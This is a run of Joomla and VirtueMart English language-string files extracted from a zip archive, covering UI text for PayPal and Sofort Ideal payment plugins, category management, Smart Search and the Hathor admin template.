VMPAYMENT_PAYPAL_COST_PER_TRANSACTION="Fee per transaction" VMPAYMENT_PAYPAL_COST_PER_TRANSACTION_EXPLAIN="Flat amount to apply per transaction" VMPAYMENT_PAYPAL_TAX="Tax" VMPAYMENT_PAYPAL_TAX_EXPLAIN="Tax to apply to the fee" ;-------------- ; Order status ;-------------- VMPAYMENT_PAYPAL_ORDER_STATUS_SECTION="Order status" VMPAYMENT_PAYPAL_ORDER_STATUS_SECTION_DESC="Select the order status that will be applied based on transaction result" VMPAYMENT_PAYPAL_STATUS_CANCEL="Cancel transactions" VMPAYMENT_PAYPAL_STATUS_CANCEL_EXPLAIN="Select an order status for Cancel PayPal transactions." VMPAYMENT_PAYPAL_STATUS_PENDING="Pending transactions" VMPAYMENT_PAYPAL_STATUS_PENDING_EXPLAIN="The order status to which orders are set, which have no completed Payment Transaction. The transaction was not cancelled in this case, but it is just pending and waiting for completion." VMPAYMENT_PAYPAL_STATUS_REFUND="Refunded transactions" VMPAYMENT_PAYPAL_STATUS_REFUND_EXPLAIN="Select an order status for Refunded PayPal transactions." VMPAYMENT_PAYPAL_STATUS_PARTIAL_REFUND="Partial Refunded transactions" VMPAYMENT_PAYPAL_STATUS_PARTIAL_REFUND_EXPLAIN="Select an order status for Partial Refunded PayPal transactions." VMPAYMENT_PAYPAL_STATUS_SUCCESS="Successful transactions" VMPAYMENT_PAYPAL_STATUS_SUCCESS_EXPLAIN="Select the order status to which the actual order is set, if the PayPal IPN was successful. If using download selling options: select the status which enables the download (then the customer is instantly notified about the download via e-mail)." VMPAYMENT_PAYPAL_STATUS_EXPIRED="Expired subscriptions & Completed payments plans" VMPAYMENT_PAYPAL_STATUS_EXPIRED_EXPLAIN="Select an order status for expired PayPal subscriptions or completed payments plans." VMPAYMENT_PAYPAL_STATUS_CAPTURE="Capture Payment" VMPAYMENT_PAYPAL_STATUS_CAPTURE_EXPLAIN="Select an order status to capture the payment" ;VMPAYMENT_PAYPAL_STATUS_FRAUD="Fraud Status" ;VMPAYMENT_PAYPAL_STATUS_FRAUD_DESC="The order will be set to this status is a fraud is detected" VMPAYMENT_PAYPAL_VM="VirtueMart initiates PayPal operations" VMPAYMENT_PAYPAL_VM_DESC="If set to Yes, when the order status change in VirtueMart, capture/refund/cancel operations are sent to PayPal. When set to No, when the order status change in VirtueMart, no operations are sent to PayPal. In both case, all operations done via the PayPal backoffice changes VirtueMart order status according to the next parameters." ;--------------- ; Infos , errors ;--------------- VMPAYMENT_PAYPAL_PAYMENT_CANCELLED="You have cancelled your payment" VMPAYMENT_PAYPAL_PAYMENT_NOT_VALID="An error occurred. The payment has not validated. Please choose another payment" VMPAYMENT_PAYPAL_PAYMENT_FEE_NOT_ALLOWED="PayPal fee are not allowed. Please enter a negative value" VMPAYMENT_PAYPAL_PARAMETER_REQUIRED="The parameter %1s is required for the payment %2s (%3s)" VMPAYMENT_PAYPAL_ERROR_SUBJECT="An error occurred while processing PayPal" VMPAYMENT_PAYPAL_ERROR_BODY="An error occurred while processing PayPal. For more information, please check your log file." VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION="Invalid IPN validation" ;--------------- ; orders management ;--------------- VMPAYMENT_PAYPAL_PAYMENT_STATUS_CONFIRMED="Your payment for order %s has been confirmed by PayPal" VMPAYMENT_PAYPAL_DATE="Date" VMPAYMENT_PAYPAL_PAYMENT_STATUS_PENDING="The payment for order %s is pending state. Reason:" VMPAYMENT_PAYPAL_REDIRECT_MESSAGE="Please wait while redirecting to PayPal" VMPAYMENT_PAYPAL_IPN_NOTIFICATION_RECEIVED="Paypal notification received" ;------- ; Debug ;------- VMPAYMENT_PAYPAL_DEBUG_SECTION="Debug" VMPAYMENT_PAYPAL_DEBUG_SECTION_DESC="When debug is enabled, requests, responses and debugging error messages from PayPal will be displayed on the front-end" VMPAYMENT_PAYPAL_LOG="Log debug in file" VMPAYMENT_PAYPAL_LOG_DESC="When Log is enabled, debug infos will be logged in a file placed in the log folder." ;--- ; From PayPal response ;--- VMPAYMENT_PAYPAL_RESPONSE_CORRELATIONID="Correlation ID" VMPAYMENT_PAYPAL_RESPONSE_ERRORCODE="Error Code" VMPAYMENT_PAYPAL_RESPONSE_ERRORMSG="Error Message" VMPAYMENT_PAYPAL_RESPONSE_ACK="Acknowledgement" VMPAYMENT_PAYPAL_RESPONSE_REFUND_STATUS="Refund Status" VMPAYMENT_PAYPAL_RESPONSE_REFUND_AMOUNT="Refund Amount" VMPAYMENT_PAYPAL_RESPONSE_10486="Fraud Detected" VMPAYMENT_PAYPAL_RESPONSE_BUSINESS="Email address or account ID of the payment recipient" VMPAYMENT_PAYPAL_RESPONSE_CASE_CREATION_DATE="Date and time case was registered" VMPAYMENT_PAYPAL_RESPONSE_CASE_ID="Case identification number" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE="Case type" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_CHARGEBACK="A buyer has filed a chargeback with his credit card company, which has notified PayPal of the reason for the chargeback." VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_COMPLAINT="A buyer has logged a complaint through the PayPal Resolution Center." VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_DISPUTE="A buyer and seller post communications to one another through the Resolution Center to try to work out issues without intervention by PayPal." VMPAYMENT_PAYPAL_RESPONSE_FIRST_NAME="Customer’s first name" VMPAYMENT_PAYPAL_RESPONSE_INVOICE="Invoice" VMPAYMENT_PAYPAL_RESPONSE_LAST_NAME="Customer’s last name" VMPAYMENT_PAYPAL_RESPONSE_MC_CURRENCY="Currency" VMPAYMENT_PAYPAL_RESPONSE_MC_FEE="Transaction fee" VMPAYMENT_PAYPAL_RESPONSE_MC_GROSS="Full amount of the customer's payment" VMPAYMENT_PAYPAL_RESPONSE_TAXAMT="Tax amount" VMPAYMENT_PAYPAL_RESPONSE_NOTIFICATION="Notification" VMPAYMENT_PAYPAL_RESPONSE_PARENT_TXN_ID="Original transaction identification number" VMPAYMENT_PAYPAL_RESPONSE_PAYER_EMAIL="Customer’s primary email address" VMPAYMENT_PAYPAL_RESPONSE_PAYER_ID="Unique customer ID" VMPAYMENT_PAYPAL_RESPONSE_PAYER_STATUS="Payer status" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_DATE="Date/time of the IPN" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_TYPE="Payment type" VMPAYMENT_PAYPAL_RESPONSE_ADDRESS_STATUS="Address Status" VMPAYMENT_PAYPAL_RESPONSE_METHOD="Method" VMPAYMENT_PAYPAL_RESPONSE_COMPLETETYPE="Is this your last capture?" VMPAYMENT_PAYPAL_RESPONSE_COMPLETETYPE_COMPLETE="This is the last capture you intend to make." VMPAYMENT_PAYPAL_RESPONSE_COMPLETETYPE_NOTCOMPLETE="You intend to make additional captures." VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS="Payment Status" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS_COMPLETED="The payment has been completed, and the funds have been added successfully to your account balance." VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS_DENIED="You denied the payment." VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS_EXPIRED="The authorization period for this payment has been reached." VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS_FAILED="The payment has failed." VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS_PENDING="The payment is pending." VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS_REFUNDED="You refunded the payment." VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS_PROCESSED="A payment has been accepted." VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS_VOIDED="An authorization for this transaction has been voided." VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS_REVERSED="A payment was reversed due to a chargeback or other type of reversal. The funds have been removed from your account balance and returned to the buyer." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON="Pending reason" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ADDRESS="The payment is pending because your customer did not include a confirmed shipping address and your Payment Receiving Preferences is set yo allow you to manually accept or deny each of these payments. To change your preference, go to the Preferences section of your Profile." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_AUTHORIZATION="The payment action is set to Authorization and have not yet captured funds." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ECHECK="The payment is pending because it was made by an eCheck that has not yet cleared." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_INTL="The payment is pending because you hold a non-U.S. account and do not have a withdrawal mechanism. You must manually accept or deny this payment from your Account Overview." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_MULTI_CURRENCY="You do not have a balance in the currency sent, and you do not have your Payment Receiving Preferences set to automatically convert and accept this payment. You must manually accept or deny this payment." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ORDER="You set the payment action to Order and have not yet captured funds." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_OTHER="The payment is pending for a reason other than those listed above. For more information, contact PayPal Customer Service." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_PAYMENTREVIEW="The payment is pending while it is being reviewed by PayPal for risk." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UNILATERAL="The payment is pending because it was made to an email address that is not yet registered or confirmed." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UPGRADE="The payment is pending because it was made via credit card and you must upgrade your account to Business or Premier status in order to receive the funds. Upgrade can also mean that you have reached the monthly limit for transactions on your account." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_VERIFY="The payment is pending because you are not yet verified. You must verify your account before you can accept this payment." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_REGULATORYREVIEW="The payment is pending while we make sure it meets regulatory requirements. You will be contacted again in 24-72 hours with the outcome of the review." VMPAYMENT_PAYPAL_PENDING_REASON_FE_ADDRESS="You did not include a confirmed shipping address" VMPAYMENT_PAYPAL_PENDING_REASON_FE_AUTHORIZATION="The payment action is set to Authorization." VMPAYMENT_PAYPAL_PENDING_REASON_FE_DEFAULT="The payment is pending." VMPAYMENT_PAYPAL_PENDING_REASON_FE_ECHECK="The payment is pending because it was made by an eCheck that has not yet cleared." VMPAYMENT_PAYPAL_PENDING_REASON_FE_INTL="The payment is pending because the shops holds a non-U.S. account" VMPAYMENT_PAYPAL_PENDING_REASON_FE_MULTI_CURRENCY="The shop will accept manually the payment for this currency" VMPAYMENT_PAYPAL_PENDING_REASON_FE_ORDER="You set the payment action to Order and have not yet captured funds." VMPAYMENT_PAYPAL_PENDING_REASON_FE_UNILATERAL="The payment is pending because it was made to an email address that is not yet registered or confirmed." VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITY="Eligibility" VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITY_ELIGIBLE="Merchant is protected by PayPal's Seller Protection Policy for Unauthorized Payment and Item Not Received." VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITY_PARTIALLYELIGIBLE="Merchant is protected by PayPal's Seller Protection Policy for Item Not Received." VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITY_INELIGIBLE="Merchant is not protected under the Seller Protection Policy." VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITYTYPE="Eligibility Type" VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITYTYPE_ELIGIBLE="Seller is protected by PayPal's Seller Protection Policy for Unauthorised Payments and Item Not Received" VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITYTYPE_ITEMNOTRECEIVEDELIGIBLE="Seller is protected by PayPal's Seller Protection Policy for Item Not Received" VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITYTYPE_UNAUTHORIZEDPAYMENTELIGIBLE="Seller is protected by PayPal's Seller Protection Policy for Unauthorized Payment" VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITYTYPE_INELIGIBLE="Seller is not protected under the Seller Protection Policy" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE="Reason for the case" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_ADJUSTMENT_REIMBURSE=": A case that has been resolved and close requires a reimbursement." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_DUPLICATE="Buyer claims that a possible duplicate payment was made to the merchant." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_MERCHANDISE="Buyer claims that the received merchandise is unsatisfactory, defective, or damaged." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_NON_RECEIPT="Buyer claims that he did not receive goods or service." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_NOT_AS_DESCRIBED="Buyer claims that the goods or service received differ from merchant’s description of the goods or service." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_SPECIAL="Some other reason. Usually, special indicates a credit card processing error for which the merchant is not responsible and for which no debit to the merchant will result. PayPal must review the documentation from the credit card company to determine the nature of the dispute and possibly contact the merchant to resolve it." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_UNAUTHORIZED="unauthorized" VMPAYMENT_PAYPAL_RESPONSE_RECEIVER_EMAIL="Primary email address of the payment recipient" VMPAYMENT_PAYPAL_RESPONSE_RESIDENCE_COUNTRY="ISO 3166 country code" VMPAYMENT_PAYPAL_RESPONSE_TAX="Tax" VMPAYMENT_PAYPAL_RESPONSE_TRANSACTION_SUBJECT="Transaction subject" VMPAYMENT_PAYPAL_RESPONSE_TXN_ID="Transaction identification number" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE="IPN Transaction Types" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_ADJUSTMENT="A dispute has been resolved and closed" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_NEW_CASE="A new dispute was filed" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_SEND_MONEY="Payment received; source is the Send Money tab on the PayPal website" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_VIRTUAL_TERMINAL="Payment received; source is Virtual Terminal" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_WEB_ACCEPT="The payment was sent by your customer via Single Item Purchases or Donations" PK@y>\+'language/en-GB/en-GB.com_categories.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 CATEGORIES_FIELDSET_OPTIONS="Options" COM_CATEGORIES="Categories" COM_CATEGORIES_ACCESS_CREATE_DESC="New setting for create actions in this category and the calculated setting based on the parent category and group permissions." COM_CATEGORIES_ACCESS_DELETE_DESC="New setting for delete actions on this category and the calculated setting based on the parent category and group permissions." COM_CATEGORIES_ACCESS_EDIT_DESC="New setting for edit actions on this category and the calculated setting based on the parent category and group permissions." COM_CATEGORIES_ACCESS_EDITOWN_DESC="New setting for edit own actions on this category and the calculated setting based on the parent category and group permissions." COM_CATEGORIES_ACCESS_EDITSTATE_DESC="New setting for edit state actions on this category and the calculated setting based on the parent category and group permissions." COM_CATEGORIES_BASIC_FIELDSET_LABEL="Basic Options" COM_CATEGORIES_BATCH_CANNOT_CREATE="You are not allowed to create new categories in this category." COM_CATEGORIES_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these categories." COM_CATEGORIES_BATCH_CATEGORY_LABEL="Select Category for Move/Copy" COM_CATEGORIES_BATCH_OPTIONS="Batch process the selected categories" COM_CATEGORIES_BATCH_TIP="If choosing to copy a category, any other actions selected will be applied to the copied category. Otherwise, all actions are applied to the selected category." COM_CATEGORIES_CATEGORIES_BASE_TITLE="Category Manager" COM_CATEGORIES_CATEGORIES_TITLE="Category Manager: %s" COM_CATEGORIES_CATEGORY_ADD_TITLE="Category Manager: Add A New %s Category" COM_CATEGORIES_CATEGORY_BASE_ADD_TITLE="Category Manager: Add New Category" COM_CATEGORIES_CATEGORY_BASE_EDIT_TITLE="Category Manager: Edit Category" COM_CATEGORIES_CATEGORY_EDIT_TITLE="Category Manager: Edit A %s Category" COM_CATEGORIES_CATEGORY_OPTIONS="Category Options" COM_CATEGORIES_DELETE_NOT_ALLOWED="Delete not allowed for category %s. " COM_CATEGORIES_DESCRIPTION_DESC="Enter an optional category description in the text-area." COM_CATEGORIES_FIELD_IMAGE_DESC="Choose an image for this category" COM_CATEGORIES_FIELD_IMAGE_LABEL="Image" COM_CATEGORIES_FIELD_LANGUAGE_DESC="Assign a language to this category." COM_CATEGORIES_FIELD_PARENT_DESC="Select a Parent Category" COM_CATEGORIES_FIELD_PARENT_LABEL="Parent" COM_CATEGORIES_FIELDSET_DETAILS="Details" COM_CATEGORIES_FIELDSET_RULES="Category Permissions" COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS="%d items are assigned to this category's subcategories." COM_CATEGORIES_HAS_SUBCATEGORY_ITEMS_1="%d item is assigned to one of this category's subcategories." COM_CATEGORIES_ITEMS_SEARCH_FILTER="Search" COM_CATEGORIES_N_ITEMS_ARCHIVED="%d categories successfully archived" COM_CATEGORIES_N_ITEMS_ARCHIVED_1="%d category successfully archived" COM_CATEGORIES_N_ITEMS_ASSIGNED="%d items are assigned to this category." COM_CATEGORIES_N_ITEMS_ASSIGNED_1="%d item is assigned to this category." COM_CATEGORIES_N_ITEMS_CHECKED_IN_0="No category successfully checked in" COM_CATEGORIES_N_ITEMS_CHECKED_IN_1="%d category successfully checked in" COM_CATEGORIES_N_ITEMS_CHECKED_IN_MORE="%d categories successfully checked in" COM_CATEGORIES_N_ITEMS_DELETED="%d categories successfully deleted" COM_CATEGORIES_N_ITEMS_DELETED_1="%d category successfully deleted" COM_CATEGORIES_N_ITEMS_PUBLISHED="%d categories successfully published" COM_CATEGORIES_N_ITEMS_PUBLISHED_1="%d category successfully published" COM_CATEGORIES_N_ITEMS_TRASHED="%d categories successfully trashed" COM_CATEGORIES_N_ITEMS_TRASHED_1="%d category successfully trashed" COM_CATEGORIES_N_ITEMS_UNPUBLISHED="%d categories successfully unpublished" COM_CATEGORIES_N_ITEMS_UNPUBLISHED_1="%d category successfully unpublished" COM_CATEGORIES_REBUILD_FAILURE="Failed rebuilding Categories tree data." COM_CATEGORIES_REBUILD_SUCCESS="Categories tree data successfully rebuilt." COM_CATEGORIES_SAVE_SUCCESS="Category successfully saved" COM_CATEGORIES_XML_DESCRIPTION="This component manages categories" JGLOBAL_NO_ITEM_SELECTED="No categories selected" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Cannot change the published state when the parent category is of a lesser state." JLIB_HTML_ACCESS_SUMMARY_DESC="Shown below is an overview of the permission settings for this category. Click the tabs above to customise these settings by action." JLIB_RULES_SETTING_NOTES_ITEM="1. If you change the setting, it will apply to this and all child categories. Note that:
      Inherited means that the permissions from the parent category will be used if there is a parent category or those from the component if there is no parent category.
      Denied means that no matter what the parent category setting is, the group being edited cannot take this action within this category.
      Allowed means that the group being edited will be able to take this action within this category (but if this is in conflict with the parent category setting or the component setting it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\K/B B 'language/en-GB/en-GB.com_finder.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_FINDER="Smart Search" COM_FINDER_XML_DESCRIPTION="Smart Search" COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT="The default search layout." COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE="Search" COM_FINDER_SEARCH_FILTER_SEARCH_LABEL="Search Filter" COM_FINDER_SEARCH_FILTER_SEARCH_DESC="Selecting a Search Filter will limit any searches submitted to use the selected filter." COM_FINDER_SEARCH_SEARCH_QUERY_LABEL="Search Query" COM_FINDER_SEARCH_SEARCH_QUERY_DESC="Entering search terms will make this menu item automatically return the results for the predefined terms." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Description Length" COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESC="Description text for search results will be truncated to the specified character length." COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Expand Advanced Search" COM_FINDER_CONFIG_EXPAND_ADVANCED_DESC="Toggle whether the advanced search options should be expanded by default." COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Advanced Search" COM_FINDER_CONFIG_SHOW_ADVANCED_DESC="Toggle whether users should be able to see advanced search options." COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Result Description" COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESC="Toggle whether the description should be displayed with search results." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Date Filters" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESC="Show the start and end date filters in the advanced search." COM_FINDER_CONFIG_SHOW_URL_LABEL="Result URL" COM_FINDER_CONFIG_SHOW_URL_DESC="Show the associated URL that for the item." COM_FINDER_CONFIG_SHOW_FEED_LABEL="Show Feed" COM_FINDER_CONFIG_SHOW_FEED_DESC="Show the syndication feed link" COM_FINDER_CONFIG_SHOW_FEED_TEXT_LABEL="Show Feed Text" COM_FINDER_CONFIG_SHOW_FEED_TEXT_DESC="Show the associated text with the feed, otherwise just the title is shown in the feed." COM_FINDER_SELECT_SEARCH_FILTER="Select filter" COM_FINDER_ALLOW_EMPTY_QUERY_LABEL="Allow Empty Search" COM_FINDER_ALLOW_EMPTY_QUERY_DESC="Only if a filter is selected, allow an empty search string to initiate a search within the filter constraints." COM_FINDER_CONFIG_SORT_DIRECTION_DESC="The direction in which to sort the search results." COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Sort Direction" COM_FINDER_CONFIG_SORT_ORDER_DESC="The field on which to sort the search results." COM_FINDER_CONFIG_SORT_ORDER_LABEL="Sort Field" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Ascending" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Descending" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="List price" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Relevance" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Date" PK@y>\v 7language/en-GB/en-GB.plg_content_pagenavigation.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGENAVIGATION="Content - Page Navigation" PLG_PAGENAVIGATION_XML_DESCRIPTION="Enables you to add the Next & Previous functionality to an Article." PK@y>\(-+language/en-GB/en-GB.plg_content_finder.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_FINDER="Content - Smart Search" PLG_CONTENT_FINDER_XML_DESCRIPTION="Enables Indexing for Smart Search" PLG_FINDER_QUERY_FILTER_BRANCH_P__="All" PLG_FINDER_QUERY_FILTER_BRANCH_S_TYPE="Type" PLG_FINDER_QUERY_FILTER_BRANCH_S_LANGUAGE="Language" PLG_FINDER_QUERY_FILTER_BRANCH_S_CATEGORY="Category" PLG_FINDER_QUERY_FILTER_BRANCH_P_TYPE="Types" PLG_FINDER_QUERY_FILTER_BRANCH_P_LANGUAGE="Languages" PLG_FINDER_QUERY_FILTER_BRANCH_P_CATEGORY="Categories" PK@y>\3j~..4language/en-GB/en-GB.plg_vmpayment_heidelpay.sys.ininuW+A VMPAYMENT_HEIDELPAY="VM - Payment, Heidelpay"PK@y>\ )@@'language/en-GB/en-GB.tpl_hathor.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM HATHOR="Hathor Administrator template" TPL_HATHOR_POSITION_CP_SHELL="Unused" TPL_HATHOR_POSITION_CPANEL="Control Panel" TPL_HATHOR_POSITION_DEBUG="Debug" TPL_HATHOR_POSITION_FOOTER="Footer" TPL_HATHOR_POSITION_ICON="Quick Icons" TPL_HATHOR_POSITION_LOGIN="Login" TPL_HATHOR_POSITION_MENU="Menu" TPL_HATHOR_POSITION_STATUS="Status" TPL_HATHOR_POSITION_SUBMENU="Submenu" TPL_HATHOR_POSITION_TITLE="Title" TPL_HATHOR_POSITION_TOOLBAR="Toolbar" TPL_HATHOR_XML_DESCRIPTION="Hathor is an accessible administrator template for Joomla!. The Colour CSS files can also be used for custom colour branding."PK@y>\ۈ%language/en-GB/en-GB.com_jce.menu.ininuW+A; JCE Project ; Copyright (C) 2006 - 2011 Ryan Demmer. All rights reserved ; GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html ; Note : All ini files need to be saved as UTF-8 COM_JCE ="JCE Administration" COM_JCE.WF_MENU_INSTALL ="Install Add-ons" COM_JCE.WF_MENU_INSTALLER ="Install Add-ons" COM_JCE.WF_MENU_PROFILES ="Profiles" COM_JCE.WF_MENU_CONFIG ="Global Configuration" COM_JCE.WF_MENU_CPANEL ="Control Panel" ; ## Backwards Compatability ## COM_JCE.JCE_MENU_INSTALL ="Install Add-ons" COM_JCE.JCE_MENU_INSTALLER ="Install Add-ons" COM_JCE.JCE_MENU_PROFILES ="Profiles" COM_JCE.JCE_MENU_CONFIG ="Global Configuration" COM_JCE.JCE_MENU_CPANEL ="Control Panel"PK@y>\FF*language/en-GB/en-GB.com_templates.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_TEMPLATES="Template Manager" COM_TEMPLATES_XML_DESCRIPTION="This component manages templates" PK@y>\ԙ3language/en-GB/en-GB.plg_vmpayment_sofort_ideal.ininuW+A; @date : $Date$ ; @Id $Id: en-GB.plg_vmpayment_sofort_ideal.ini 7306 2013-10-30 11:12:39Z alatak $ ; @Revision : $Revision$ ; @author Valérie Isaksen ; @package VMPayment ; @subpackage VirtueMart payment Sofort Ideal VMPAYMENT_SOFORT_IDEAL_PAYMENT_TITLE="

      Sofort Ideal

      " VMPAYMENT_SOFORT_IDEAL_PASSWORD_WARNING="If the password contains a | , regenerate the password.
      Otherwise, the settings are not properly stored.
      " VMPAYMENT_SOFORT_IDEAL_PROJECT_PASSWORD="Project password" VMPAYMENT_SOFORT_IDEAL_PROJECT_PASSWORD_DESC="Insert your project password from the project settings" VMPAYMENT_SOFORT_IDEAL_NOTIFICATION_PASSWORD="Notification password" VMPAYMENT_SOFORT_IDEAL_NOTIFICATION_PASSWORD_DESC="Insert your notification password from the project settings." VMPAYMENT_SOFORT_IDEAL_PLEASE_SELECT_BANK="Please select a bank" VMPAYMENT_SOFORT_IDEAL_STATUS_NOTRECEIVED="Order Status for Not Received transactions" VMPAYMENT_SOFORT_SIDEAL_TATUS_NOTRECEIVED_DESC="Select an order status for Not Received Sofort transactions." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_UNKNOWN_CODE="Error received from Sofort: %s" VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_1000="Invalid request" VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_1001="Technical error." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_6000="An unknown error occurred." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_6001="Session expired." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_7007="Amount required." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_7008="Invalid amount." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_7009="Reason required." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_7010="Invalid sender country id." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_7011="Invalid recipient country id." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_7012="Invalid sender bank code." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_7013="Sender account equals recipient account." VMPAYMENT_SOFORT_IDEAL_ERROR_CODES_7014="Invalid hash." VMPAYMENT_SOFORT_IDEAL_RESPONSE_TRANSACTION="Transaction id" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_USER_ID="Customer id at SOFORT AG" VMPAYMENT_SOFORT_IDEAL_HIDDEN_RESPONSE_PROJECT_ID="Project ID" VMPAYMENT_SOFORT_IDEAL_RESPONSE_CURRENCY_ID="Transaction currency" VMPAYMENT_SOFORT_IDEAL_STATUS_CONFIRMED="For Confirmed transactions" VMPAYMENT_SOFORT_STATUS_CONFIRMED_DESC="Select an order status for Confirmed Sofort transactions." VMPAYMENT_SOFORT_IDEAL_STATUS_CANCELED="For Canceled transactions" VMPAYMENT_SOFORT_IDEAL_STATUS_CANCELED_DESC="Order Status for Canceled transactions" VMPAYMENT_SOFORT_IDEAL_STATUS_COMPENSATION="For Partially refunded Transaction" VMPAYMENT_SOFORT_IDEAL_STATUS_COMPENSATION_DESC="Order Status for Partially refunded" ;emails VMPAYMENT_SOFORT_ERROR_ORDER_STATUS_SUB="An error occurred with the payment SOFORT IDEAL" VMPAYMENT_SOFORT_ERROR_ORDER_STATUS_BODY="Hello, \nAn error occurred with the payment SOFORT IDEAL.\nFor the order number %3s: \nThe notification received from Sofort is status=%1s, status_reason=%2s.\nThis combination is unknown. The order status is not updated.\n" VMPAYMENT_SOFORT_IDEAL_RESPONSE_SENDER_HOLDER="Name of the sender" 